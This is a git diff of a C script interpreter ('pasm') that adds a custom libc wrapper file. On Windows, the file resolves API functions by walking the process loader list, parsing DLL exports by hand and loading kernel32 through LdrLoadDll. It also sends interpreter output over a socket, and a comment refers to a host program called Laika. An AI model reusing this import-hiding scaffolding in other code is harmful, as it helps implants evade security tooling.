ptr = line + 4 + strlen(state->ARRAYS_NAME[state->num_arrays]) + 1; //leave me alone i'm tired
|
ptr = line + 4 + strlen(state->ARRAYS_NAME[state->num_arrays]) + 1; //leave me alone i'm tired
|
||||||
ptr = strtok(ptr, ",");
|
ptr = strtok_(ptr, ",");
|
||||||
int j = 0;
|
int j = 0;
|
||||||
while (ptr != NULL && j < array_size) {
|
while (ptr != NULL && j < array_size) {
|
||||||
if (ptr[0] == ' ')
|
if (ptr[0] == ' ')
|
||||||
++ptr;
|
++ptr;
|
||||||
if (strlen(ptr) > 2 && ptr[0] == '0' && ptr[1] == 'x') {
|
if (strlen(ptr) > 2 && ptr[0] == '0' && ptr[1] == 'x') {
|
||||||
arr[j++] = strtol(ptr, NULL, 16);
|
arr[j++] = strtol_(ptr, NULL, 16);
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
arr[j++] = atoi(ptr);
|
arr[j++] = strtol_(ptr, NULL, 10);
|
||||||
}
|
}
|
||||||
ptr = strtok(NULL, ",");
|
ptr = strtok_(NULL, ",");
|
||||||
}
|
}
|
||||||
state->ARRAYS_VALUES[state->num_arrays++] = arr;
|
state->ARRAYS_VALUES[state->num_arrays++] = arr;
|
||||||
free(line_copy);
|
free_(line_copy);
|
||||||
return ARRAY_OK;
|
return ARRAY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
char *extract_arg(char *ptr, int a) {
|
char *extract_arg(char *ptr, int a) {
|
||||||
char *arg = 0;
|
char *arg = 0;
|
||||||
char *ptr2 = strstr(ptr, ";");
|
char *ptr2 = strstr__(ptr, ";");
|
||||||
if (ptr2)
|
if (ptr2)
|
||||||
ptr2[0] = '\0';
|
ptr2[0] = '\0';
|
||||||
if (a == 0) {
|
if (a == 0) {
|
||||||
arg = strtok(ptr, ",");
|
arg = strtok_(ptr, ",");
|
||||||
} else {
|
} else {
|
||||||
arg = strtok(NULL, ",");
|
arg = strtok_(NULL, ",");
|
||||||
}
|
}
|
||||||
if (arg == NULL)
|
if (arg == NULL)
|
||||||
return NULL;
|
return NULL;
|
||||||
if (arg[0] == ' ')
|
if (arg[0] == ' ')
|
||||||
arg++;
|
arg++;
|
||||||
ptr2 = strstr(arg, " ");
|
ptr2 = strstr__(arg, " ");
|
||||||
if (ptr2)
|
if (ptr2)
|
||||||
ptr2[0] = '\0';
|
ptr2[0] = '\0';
|
||||||
return arg;
|
return arg;
|
||||||
@@ -267,26 +268,26 @@ int parse_arguments(char *line) {
|
|||||||
strcpy(state->args->arg2, "");
|
strcpy(state->args->arg2, "");
|
||||||
|
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
char *line_cpy = _strdup(line);
|
char *line_cpy = strdup_(line);
|
||||||
#else
|
#else
|
||||||
char *line_cpy = strdup(line);
|
char *line_cpy = strdup(line);
|
||||||
#endif
|
#endif
|
||||||
char *ptr = strstr(line_cpy, " ");
|
char *ptr = strstr__(line_cpy, " ");
|
||||||
char *arg = 0;
|
char *arg = 0;
|
||||||
if (!ptr) {
|
if (!ptr) {
|
||||||
free(line_cpy);
|
free_(line_cpy);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
if ((arg = extract_arg(ptr, 0)) == NULL) {
|
if ((arg = extract_arg(ptr, 0)) == NULL) {
|
||||||
free(line_cpy);
|
free_(line_cpy);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
strcpy(state->args->arg1, arg);
|
strcpy(state->args->arg1, arg);
|
||||||
if ((arg = extract_arg(ptr, 1)) == NULL) {
|
if ((arg = extract_arg(ptr, 1)) == NULL) {
|
||||||
free(line_cpy);
|
free_(line_cpy);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
strcpy(state->args->arg2, arg);
|
strcpy(state->args->arg2, arg);
|
||||||
free(line_cpy);
|
free_(line_cpy);
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -73,7 +73,7 @@ typedef enum E_ARRAY_ERR {
|
|||||||
} ARRAY_ERR;
|
} ARRAY_ERR;
|
||||||
|
|
||||||
int init_state();
|
int init_state();
|
||||||
void free_state();
|
void free__state();
|
||||||
void set_exit_state(int exit_state);
|
void set_exit_state(int exit_state);
|
||||||
int get_exit_state();
|
int get_exit_state();
|
||||||
LABEL_ERR add_label(char *label, int line);
|
LABEL_ERR add_label(char *label, int line);
|
||||||
|
|||||||
437
src/libc.c
Normal file
437
src/libc.c
Normal file
@@ -0,0 +1,437 @@
|
|||||||
|
#include "libc.h"
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
HANDLE _crt_heap_ = 0;
|
||||||
|
|
||||||
|
#include <winternl.h>
|
||||||
|
#ifdef _M_X64
|
||||||
|
#define GetTEB() ((PTEB)__readgsqword(FIELD_OFFSET(NT_TIB, Self)))
|
||||||
|
#else
|
||||||
|
#define GetTEB() ((PTEB)__readfsdword(FIELD_OFFSET(NT_TIB, Self)))
|
||||||
|
#endif
|
||||||
|
|
||||||
|
typedef LPVOID(WINAPI* fHeapAlloc)(HANDLE, DWORD, SIZE_T);
|
||||||
|
typedef BOOL(WINAPI* fHeapFree)(HANDLE, DWORD, LPVOID);
|
||||||
|
typedef HANDLE(WINAPI* fHeapCreate)(DWORD, SIZE_T, SIZE_T);
|
||||||
|
typedef LPVOID(WINAPI* fHeapReAlloc)(HANDLE, DWORD, LPVOID, SIZE_T);
|
||||||
|
typedef NTSTATUS(NTAPI* fRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString);
|
||||||
|
typedef NTSTATUS(NTAPI* fLdrLoadDll)(PWCHAR, ULONG, PUNICODE_STRING, PHANDLE);
|
||||||
|
typedef HMODULE(WINAPI* fLoadLibraryW)(LPCWSTR);
|
||||||
|
typedef FARPROC(WINAPI* fGetProcAddress)(HMODULE, LPCSTR);
|
||||||
|
|
||||||
|
fGetProcAddress pGetProcAddress = NULL;
|
||||||
|
fLoadLibraryW pLoadLibraryW = NULL;
|
||||||
|
|
||||||
|
fHeapAlloc pHeapAlloc = NULL;
|
||||||
|
fHeapFree pHeapFree = NULL;
|
||||||
|
fHeapCreate pHeapCreate = NULL;
|
||||||
|
fHeapReAlloc pHeapReAlloc = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#include <string.h>
|
||||||
|
#include <limits.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define IS_LOW(c) ((c >= 'a' && c <= 'z') ? (1) : (0))
|
||||||
|
#define IS_UP(c) ((c >= 'A' && c <= 'Z') ? (1) : (0))
|
||||||
|
#define IS_ALPHA(c) ((IS_LOW(c) || IS_UP(c)) ? (1) : (0))
|
||||||
|
#define IS_NUM(c) ((c >= '0' && c <= '9') ? (1) : (0))
|
||||||
|
#define IS_SPACE(c) (c == ' ')
|
||||||
|
|
||||||
|
void* malloc_(size_t _Size) {
|
||||||
|
#ifndef _WIN32
|
||||||
|
return malloc(_Size);
|
||||||
|
#else
|
||||||
|
if (_crt_heap_ == 0) {
|
||||||
|
if (pHeapCreate == NULL) {
|
||||||
|
pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
|
||||||
|
}
|
||||||
|
_crt_heap_ = pHeapCreate(0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (pHeapAlloc == NULL) {
|
||||||
|
pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
|
||||||
|
}
|
||||||
|
return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void free_(void* _Block) {
|
||||||
|
#ifndef _WIN32
|
||||||
|
free(_Block);
|
||||||
|
return;
|
||||||
|
#else
|
||||||
|
if (pHeapFree == NULL) {
|
||||||
|
pHeapFree = GetApi(L"KERNEL32.DLL", "HeapFree");
|
||||||
|
}
|
||||||
|
pHeapFree(_crt_heap_, 0, _Block);
|
||||||
|
return;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
void* realloc_(void* _Block, size_t _Size) {
|
||||||
|
#ifndef _WIN32
|
||||||
|
return realloc(_Block, _Size);
|
||||||
|
#else
|
||||||
|
if (_crt_heap_ == 0) {
|
||||||
|
if (pHeapCreate == NULL) {
|
||||||
|
pHeapCreate = GetApi(L"KERNEL32.DLL", "HeapCreate");
|
||||||
|
}
|
||||||
|
_crt_heap_ = pHeapCreate(0, 0, 0);
|
||||||
|
}
|
||||||
|
if (_Block == NULL) {
|
||||||
|
if (pHeapAlloc == NULL) {
|
||||||
|
pHeapAlloc = GetApi(L"KERNEL32.DLL", "HeapAlloc");
|
||||||
|
}
|
||||||
|
return pHeapAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Size);
|
||||||
|
}
|
||||||
|
if (pHeapReAlloc == NULL) {
|
||||||
|
pHeapReAlloc = GetApi(L"KERNEL32.DLL", "HeapReAlloc");
|
||||||
|
}
|
||||||
|
return pHeapReAlloc(_crt_heap_, HEAP_ZERO_MEMORY, _Block, _Size);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
int strlen__(char const* str)
|
||||||
|
{
|
||||||
|
int len = 0;
|
||||||
|
|
||||||
|
if (!str)
|
||||||
|
return 1;
|
||||||
|
for (int i = 0; str[i] != '\0'; i += 1) {
|
||||||
|
len += 1;
|
||||||
|
}
|
||||||
|
return (len);
|
||||||
|
}
|
||||||
|
|
||||||
|
char* strcpy__(char* dest, char const* src)
|
||||||
|
{
|
||||||
|
int len = strlen__(src);
|
||||||
|
|
||||||
|
for (int i = 0; src[i] != '\0'; i += 1) {
|
||||||
|
dest[i] = src[i];
|
||||||
|
}
|
||||||
|
dest[len] = '\0';
|
||||||
|
return dest;
|
||||||
|
}
|
||||||
|
|
||||||
|
char* strdup_(char const* src)
|
||||||
|
{
|
||||||
|
#ifndef _WIN32
|
||||||
|
return strdup(src);
|
||||||
|
#endif
|
||||||
|
char* dup;
|
||||||
|
int src_len;
|
||||||
|
|
||||||
|
if (src == NULL)
|
||||||
|
return NULL;
|
||||||
|
src_len = strlen__(src);
|
||||||
|
dup = malloc_(sizeof(char) * (src_len + 1));
|
||||||
|
strcpy__(dup, src);
|
||||||
|
return (dup);
|
||||||
|
}
|
||||||
|
|
||||||
|
int strncmp__(char const* s1, char const* s2, int n)
|
||||||
|
{
|
||||||
|
#ifndef _WIN32
|
||||||
|
return strncmp(s1, s2, n);
|
||||||
|
#endif
|
||||||
|
for (int i = 0; i < n; i += 1) {
|
||||||
|
if (s1[i] == '\0' || s2[i] == '\0') {
|
||||||
|
return (s1[i] - s2[i]);
|
||||||
|
}
|
||||||
|
if (s1[i] == s2[i]) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
return (s1[i] - s2[i]);
|
||||||
|
}
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int strcmp__(char const* s1, char const* s2)
|
||||||
|
{
|
||||||
|
#ifndef _WIN32
|
||||||
|
return strcmp(s1, s2);
|
||||||
|
#endif
|
||||||
|
int max_len;
|
||||||
|
|
||||||
|
if (strlen__(s1) > strlen__(s2)) {
|
||||||
|
max_len = strlen__(s1);
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
max_len = strlen__(s2);
|
||||||
|
}
|
||||||
|
for (int i = 0; i < max_len; i += 1) {
|
||||||
|
if (s1[i] == s2[i]) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
return (s1[i] - s2[i]);
|
||||||
|
}
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
char* strstr__(char* str, char const* to_find)
|
||||||
|
{
|
||||||
|
#ifndef WIN32
|
||||||
|
return strstr(str, to_find);
|
||||||
|
#endif
|
||||||
|
int len_str = strlen__(str);
|
||||||
|
int len_str_to_find = strlen__(to_find);
|
||||||
|
|
||||||
|
if (strlen__(to_find) == 0) {
|
||||||
|
return (str);
|
||||||
|
}
|
||||||
|
for (int i = 0; i < len_str - len_str_to_find + 1; i += 1) {
|
||||||
|
if (strncmp__(&str[i], to_find, strlen__(to_find)) == 0) {
|
||||||
|
return (&str[i]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
//https://github.com/gcc-mirror/gcc/blob/master/libiberty/strtol.c
|
||||||
|
long strtol_(const char* nptr, char** endptr, register int base)
|
||||||
|
{
|
||||||
|
#ifndef _WIN32
|
||||||
|
return strtol(nptr, endptr, base);
|
||||||
|
#endif
|
||||||
|
register const char* s = nptr;
|
||||||
|
register unsigned long acc;
|
||||||
|
register int c;
|
||||||
|
register unsigned long cutoff;
|
||||||
|
register int neg = 0, any, cutlim;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Skip white space and pick up leading +/- sign if any.
|
||||||
|
* If base is 0, allow 0x for hex and 0 for octal, else
|
||||||
|
* assume decimal; if base is already 16, allow 0x.
|
||||||
|
*/
|
||||||
|
do {
|
||||||
|
c = *s++;
|
||||||
|
} while (IS_SPACE(c));
|
||||||
|
if (c == '-') {
|
||||||
|
neg = 1;
|
||||||
|
c = *s++;
|
||||||
|
}
|
||||||
|
else if (c == '+')
|
||||||
|
c = *s++;
|
||||||
|
if ((base == 0 || base == 16) &&
|
||||||
|
c == '0' && (*s == 'x' || *s == 'X')) {
|
||||||
|
c = s[1];
|
||||||
|
s += 2;
|
||||||
|
base = 16;
|
||||||
|
}
|
||||||
|
if (base == 0)
|
||||||
|
base = c == '0' ? 8 : 10;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Compute the cutoff value between legal numbers and illegal
|
||||||
|
* numbers. That is the largest legal value, divided by the
|
||||||
|
* base. An input number that is greater than this value, if
|
||||||
|
* followed by a legal input character, is too big. One that
|
||||||
|
* is equal to this value may be valid or not; the limit
|
||||||
|
* between valid and invalid numbers is then based on the last
|
||||||
|
* digit. For instance, if the range for longs is
|
||||||
|
* [-2147483648..2147483647] and the input base is 10,
|
||||||
|
* cutoff will be set to 214748364 and cutlim to either
|
||||||
|
* 7 (neg==0) or 8 (neg==1), meaning that if we have accumulated
|
||||||
|
* a value > 214748364, or equal but the next digit is > 7 (or 8),
|
||||||
|
* the number is too big, and we will return a range error.
|
||||||
|
*
|
||||||
|
* Set any if any `digits' consumed; make it negative to indicate
|
||||||
|
* overflow.
|
||||||
|
*/
|
||||||
|
cutoff = neg ? -(unsigned long)LONG_MIN : LONG_MAX;
|
||||||
|
cutlim = cutoff % (unsigned long)base;
|
||||||
|
cutoff /= (unsigned long)base;
|
||||||
|
for (acc = 0, any = 0;; c = *s++) {
|
||||||
|
if (IS_NUM(c))
|
||||||
|
c -= '0';
|
||||||
|
else if (IS_ALPHA(c))
|
||||||
|
c -= IS_UP(c) ? 'A' - 10 : 'a' - 10;
|
||||||
|
else
|
||||||
|
break;
|
||||||
|
if (c >= base)
|
||||||
|
break;
|
||||||
|
if (any < 0 || acc > cutoff || (acc == cutoff && c > cutlim))
|
||||||
|
any = -1;
|
||||||
|
else {
|
||||||
|
any = 1;
|
||||||
|
acc *= base;
|
||||||
|
acc += c;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (any < 0) {
|
||||||
|
acc = neg ? LONG_MIN : LONG_MAX;
|
||||||
|
}
|
||||||
|
else if (neg)
|
||||||
|
acc = -acc;
|
||||||
|
if (endptr != 0)
|
||||||
|
*endptr = (char*)(any ? s - 1 : nptr);
|
||||||
|
return (acc);
|
||||||
|
}
|
||||||
|
|
||||||
|
//https://opensource.apple.com/source/Libc/Libc-167/string.subproj/strtok.c.auto.html
|
||||||
|
char* strtok_(register char *s, register const char* delim)
|
||||||
|
{
|
||||||
|
#ifndef _WIN32
|
||||||
|
return strtok(s, delim);
|
||||||
|
#endif
|
||||||
|
register char* spanp;
|
||||||
|
register int c, sc;
|
||||||
|
char* tok;
|
||||||
|
static char* last;
|
||||||
|
|
||||||
|
|
||||||
|
if (s == NULL && (s = last) == NULL)
|
||||||
|
return (NULL);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Skip (span) leading delimiters (s += strspn(s, delim), sort of).
|
||||||
|
*/
|
||||||
|
cont:
|
||||||
|
c = *s++;
|
||||||
|
for (spanp = (char*)delim; (sc = *spanp++) != 0;) {
|
||||||
|
if (c == sc)
|
||||||
|
goto cont;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (c == 0) { /* no non-delimiter characters */
|
||||||
|
last = NULL;
|
||||||
|
return (NULL);
|
||||||
|
}
|
||||||
|
tok = s - 1;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Scan token (scan for delimiters: s += strcspn(s, delim), sort of).
|
||||||
|
* Note that delim must have one NUL; we stop if we see that, too.
|
||||||
|
*/
|
||||||
|
for (;;) {
|
||||||
|
c = *s++;
|
||||||
|
spanp = (char*)delim;
|
||||||
|
do {
|
||||||
|
if ((sc = *spanp++) == c) {
|
||||||
|
if (c == 0)
|
||||||
|
s = NULL;
|
||||||
|
else
|
||||||
|
s[-1] = 0;
|
||||||
|
last = s;
|
||||||
|
return (tok);
|
||||||
|
}
|
||||||
|
} while (sc != 0);
|
||||||
|
}
|
||||||
|
/* NOTREACHED */
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#pragma optimize("", off)
|
||||||
|
#endif
|
||||||
|
void* memset__(void* a, int val, size_t size) {
|
||||||
|
#ifndef _WIN32
|
||||||
|
return memset(a, val, size);
|
||||||
|
#endif
|
||||||
|
if (a == NULL)
|
||||||
|
return NULL;
|
||||||
|
for (size_t i = 0; i < size; i++)
|
||||||
|
((char*)a)[i] = (char)val;
|
||||||
|
return a;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
#pragma optimize("", on)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
wchar_t tolower_wchar(wchar_t wc) {
|
||||||
|
if (wc >= L'A' && wc <= L'Z') {
|
||||||
|
return wc + (L'a' - L'A');
|
||||||
|
}
|
||||||
|
return wc;
|
||||||
|
}
|
||||||
|
|
||||||
|
wchar_t* wcsstr__(const wchar_t* haystack, const wchar_t* needle) {
|
||||||
|
if (!*needle)
|
||||||
|
return (wchar_t*)haystack;
|
||||||
|
while (*haystack) {
|
||||||
|
const wchar_t* h = haystack;
|
||||||
|
const wchar_t* n = needle;
|
||||||
|
|
||||||
|
while (*h && *n && (tolower_wchar(*h) == tolower_wchar(*n))) {
|
||||||
|
h++;
|
||||||
|
n++;
|
||||||
|
}
|
||||||
|
if (!*n)
|
||||||
|
return (wchar_t*)haystack;
|
||||||
|
haystack++;
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
HMODULE get_module(const wchar_t* mod) {
|
||||||
|
PTEB tebPtr = GetTEB();
|
||||||
|
|
||||||
|
PPEB_LDR_DATA ldrData = tebPtr->ProcessEnvironmentBlock->Ldr;
|
||||||
|
PLIST_ENTRY moduleList = &(ldrData->InMemoryOrderModuleList);
|
||||||
|
for (PLIST_ENTRY entry = moduleList->Flink; entry != moduleList; entry = entry->Flink) {
|
||||||
|
LDR_DATA_TABLE_ENTRY* module = CONTAINING_RECORD(entry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
|
||||||
|
if (wcsstr__(module->FullDllName.Buffer, mod) != NULL) {
|
||||||
|
return (HMODULE)(module->DllBase);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* GetProcAddress_(HMODULE hModule, LPCSTR lpProcName) {
|
||||||
|
if (hModule == NULL) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)hModule;
|
||||||
|
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_NT_HEADERS* ntHeader = (IMAGE_NT_HEADERS*)((BYTE*)hModule + dosHeader->e_lfanew);
|
||||||
|
if (ntHeader->Signature != IMAGE_NT_SIGNATURE) {
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)((BYTE*)hModule + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
|
||||||
|
DWORD* nameRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfNames);
|
||||||
|
DWORD* addrRVAs = (DWORD*)((BYTE*)hModule + exportDir->AddressOfFunctions);
|
||||||
|
WORD* ordinals = (WORD*)((BYTE*)hModule + exportDir->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
|
||||||
|
const char* functionName = (const char*)((BYTE*)hModule + nameRVAs[i]);
|
||||||
|
if (strcmp(functionName, lpProcName) == 0) {
|
||||||
|
DWORD funcRVA = addrRVAs[ordinals[i]];
|
||||||
|
void* funcPtr = (void*)((BYTE*)hModule + funcRVA);
|
||||||
|
return funcPtr;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void* GetApi(const wchar_t* module, LPCSTR function) {
|
||||||
|
if (pGetProcAddress == NULL) {
|
||||||
|
HMODULE hKernel32 = NULL;
|
||||||
|
if (pLoadLibraryW == NULL) { //should not happen as Laika loads the required modules at startup
|
||||||
|
HMODULE ntdll = get_module(L"ntdll.dll");
|
||||||
|
fLdrLoadDll ldr = (fLdrLoadDll)GetProcAddress_(ntdll, "LdrLoadDll");
|
||||||
|
fRtlInitUnicodeString r = (fRtlInitUnicodeString)GetProcAddress_(ntdll, "RtlInitUnicodeString");
|
||||||
|
wchar_t* wide = L"kernel32.dll";
|
||||||
|
UNICODE_STRING dll;
|
||||||
|
|
||||||
|
r(&dll, wide);
|
||||||
|
ldr(0, 0, &dll, (PVOID*)&hKernel32);
|
||||||
|
pLoadLibraryW = GetProcAddress_(hKernel32, "LoadLibraryW");
|
||||||
|
}
|
||||||
|
pGetProcAddress = GetProcAddress_(hKernel32, "GetProcAddress");
|
||||||
|
}
|
||||||
|
HMODULE mod = get_module(module);
|
||||||
|
if (mod == NULL) {
|
||||||
|
mod = pLoadLibraryW(module);
|
||||||
|
}
|
||||||
|
return pGetProcAddress(mod, function);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
22
src/libc.h
Normal file
22
src/libc.h
Normal file
@@ -0,0 +1,22 @@
|
|||||||
|
#pragma once
|
||||||
|
#include <stdlib.h>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <Windows.h>
|
||||||
|
extern HANDLE _crt_heap_;
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
void* malloc_(size_t _Size);
|
||||||
|
void free_(void* _Block);
|
||||||
|
void* realloc_(void* _Block, size_t _Size);
|
||||||
|
char* strdup_(char const* src);
|
||||||
|
int strncmp__(char const* s1, char const* s2, int n);
|
||||||
|
int strcmp__(char const* s1, char const* s2);
|
||||||
|
char* strstr__(char* str, char const* to_find);
|
||||||
|
long strtol_(const char* nptr, char** endptr, register int base);
|
||||||
|
char* strtok_(register char* s, register const char* delim);
|
||||||
|
void* memset__(void* a, int val, size_t size);
|
||||||
|
#ifdef _WIN32
|
||||||
|
void* GetApi(const wchar_t* module, LPCSTR function);
|
||||||
|
#endif
|
||||||
103
src/pasm.c
103
src/pasm.c
@@ -3,6 +3,7 @@
|
|||||||
|
|
||||||
#include "file_utils.h"
|
#include "file_utils.h"
|
||||||
#include "debug.h"
|
#include "debug.h"
|
||||||
|
#include "libc.h"
|
||||||
#include "interpreter_states.h"
|
#include "interpreter_states.h"
|
||||||
#include "instructions.h"
|
#include "instructions.h"
|
||||||
|
|
||||||
@@ -10,27 +11,61 @@ int fstream = 0;
|
|||||||
int pasm_debug_mode = 0;
|
int pasm_debug_mode = 0;
|
||||||
|
|
||||||
#ifdef _WIN32 // i swear i hate windows at this point
|
#ifdef _WIN32 // i swear i hate windows at this point
|
||||||
#pragma comment(lib, "ws2_32.lib")
|
|
||||||
|
|
||||||
#include <stdarg.h>
|
#include <stdarg.h>
|
||||||
#include <io.h>
|
#include <io.h>
|
||||||
#include <winsock.h>
|
|
||||||
|
typedef HANDLE(WINAPI* fGetStdHandle)(DWORD);
|
||||||
|
typedef int(WINAPI* fwvsprintfA)(LPSTR, LPCSTR, va_list);
|
||||||
|
typedef BOOL(WINAPI* fWriteFile)(HANDLE, LPCVOID, DWORD, LPDWORD, LPOVERLAPPED);
|
||||||
|
|
||||||
|
fGetStdHandle pGetStdHandle = NULL;
|
||||||
|
fwvsprintfA pwvsprintfA = NULL;
|
||||||
|
fWriteFile pWriteFile = NULL;
|
||||||
|
|
||||||
int dprintf(int stream, const char * format, ...) {
|
int dprintf(int stream, const char * format, ...) {
|
||||||
char buf[256] = {0}; //might overflow but whatever, fuck Windows
|
char buffer[1024]; //might overflow but whatever, fuck Windows
|
||||||
va_list args;
|
va_list args;
|
||||||
|
DWORD written;
|
||||||
|
int length;
|
||||||
va_start(args, format);
|
va_start(args, format);
|
||||||
int wrote = vsprintf(buf, format, args);
|
HANDLE h;
|
||||||
struct sockaddr name = {0};
|
|
||||||
int len = 0;
|
if (pGetStdHandle == NULL)
|
||||||
if (getsockname(stream, &name, &len) != 0) {
|
pGetStdHandle = (fGetStdHandle)GetApi(L"KERNEL32.DLL", "GetStdHandle");
|
||||||
_write(stream, buf, sizeof(buf));
|
if (pwvsprintfA == NULL)
|
||||||
|
pwvsprintfA = (fwvsprintfA)GetApi(L"USER32.dll", "wvsprintfA");
|
||||||
|
if (pWriteFile == NULL)
|
||||||
|
pWriteFile = (fWriteFile)GetApi(L"KERNEL32.DLL", "WriteFile");
|
||||||
|
|
||||||
|
switch (stream) {
|
||||||
|
case 1: // stdout
|
||||||
|
h = pGetStdHandle(STD_OUTPUT_HANDLE);
|
||||||
|
break;
|
||||||
|
case 2: // stderr
|
||||||
|
h = pGetStdHandle(STD_ERROR_HANDLE);
|
||||||
|
break;
|
||||||
|
default: // Assume stream is a socket
|
||||||
|
h = (HANDLE)stream;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
length = pwvsprintfA(buffer, format, args);
|
||||||
|
va_end(args);
|
||||||
|
|
||||||
|
if (stream == 1 || stream == 2) {
|
||||||
|
if (!pWriteFile(h, buffer, length, &written, NULL)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else {
|
else {
|
||||||
send(stream, buf, sizeof(buf), 0);
|
OVERLAPPED ov = {0};
|
||||||
|
if (!pWriteFile(h, buffer, length, &written, &ov)) {
|
||||||
|
state->should_exit = 1; //broken socket -> host disconnected
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
va_end(args);
|
|
||||||
return wrote;
|
return length;
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
@@ -41,10 +76,21 @@ void show_error(size_t line, char *line_) {
|
|||||||
int wrote = dprintf(fstream, "%ld| ", line + 1);
|
int wrote = dprintf(fstream, "%ld| ", line + 1);
|
||||||
#endif
|
#endif
|
||||||
dprintf(fstream, "%s\n", line_);
|
dprintf(fstream, "%s\n", line_);
|
||||||
|
#ifdef _WIN32
|
||||||
|
// I hate you Windows
|
||||||
|
|
||||||
|
for (int j = 0; j < wrote; j++)
|
||||||
|
dprintf(fstream, " ");
|
||||||
|
dprintf(fstream, "^\n");
|
||||||
|
for (int k = 0; k < wrote; k++)
|
||||||
|
dprintf(fstream, " ");
|
||||||
|
dprintf(fstream, "|\n");
|
||||||
|
#else
|
||||||
dprintf(fstream, "%*s\n", wrote + 1, "^");
|
dprintf(fstream, "%*s\n", wrote + 1, "^");
|
||||||
dprintf(fstream, "%*s\n", wrote + 1, "|");
|
dprintf(fstream, "%*s\n", wrote + 1, "|");
|
||||||
|
#endif
|
||||||
for (int i = 0; i < wrote; i++)
|
for (int i = 0; i < wrote; i++)
|
||||||
dprintf(fstream, " ");
|
dprintf(fstream, " ");
|
||||||
}
|
}
|
||||||
|
|
||||||
int check_errors(char *line) {
|
int check_errors(char *line) {
|
||||||
@@ -92,7 +138,7 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
|
|||||||
return 1;
|
return 1;
|
||||||
if (init_state() == 1) {
|
if (init_state() == 1) {
|
||||||
dprintf(fstream, "Failed to initialize the interpreter.\n");
|
dprintf(fstream, "Failed to initialize the interpreter.\n");
|
||||||
free_script(file);
|
free__script(file);
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -101,39 +147,44 @@ int pasm_run_script(const char *filename, char **file, size_t lines, int _fstrea
|
|||||||
if (pasm_debug_mode && found_main)
|
if (pasm_debug_mode && found_main)
|
||||||
debug_input(file[state->curr_line]);
|
debug_input(file[state->curr_line]);
|
||||||
#ifdef _WIN32
|
#ifdef _WIN32
|
||||||
char* line = _strdup(file[state->curr_line]);
|
char* line = strdup_(file[state->curr_line]);
|
||||||
#else
|
#else
|
||||||
char *line = strdup(file[state->curr_line]);
|
char *line = strdup(file[state->curr_line]);
|
||||||
#endif
|
#endif
|
||||||
if (line[0] == ';' || line[0] == '\0' || line[0] == '\t') {
|
if (line[0] == ';' || line[0] == '\0' || line[0] == '\t' || line[0] == '\r' || line[0] == '\n') {
|
||||||
free(line);
|
free_(line);
|
||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
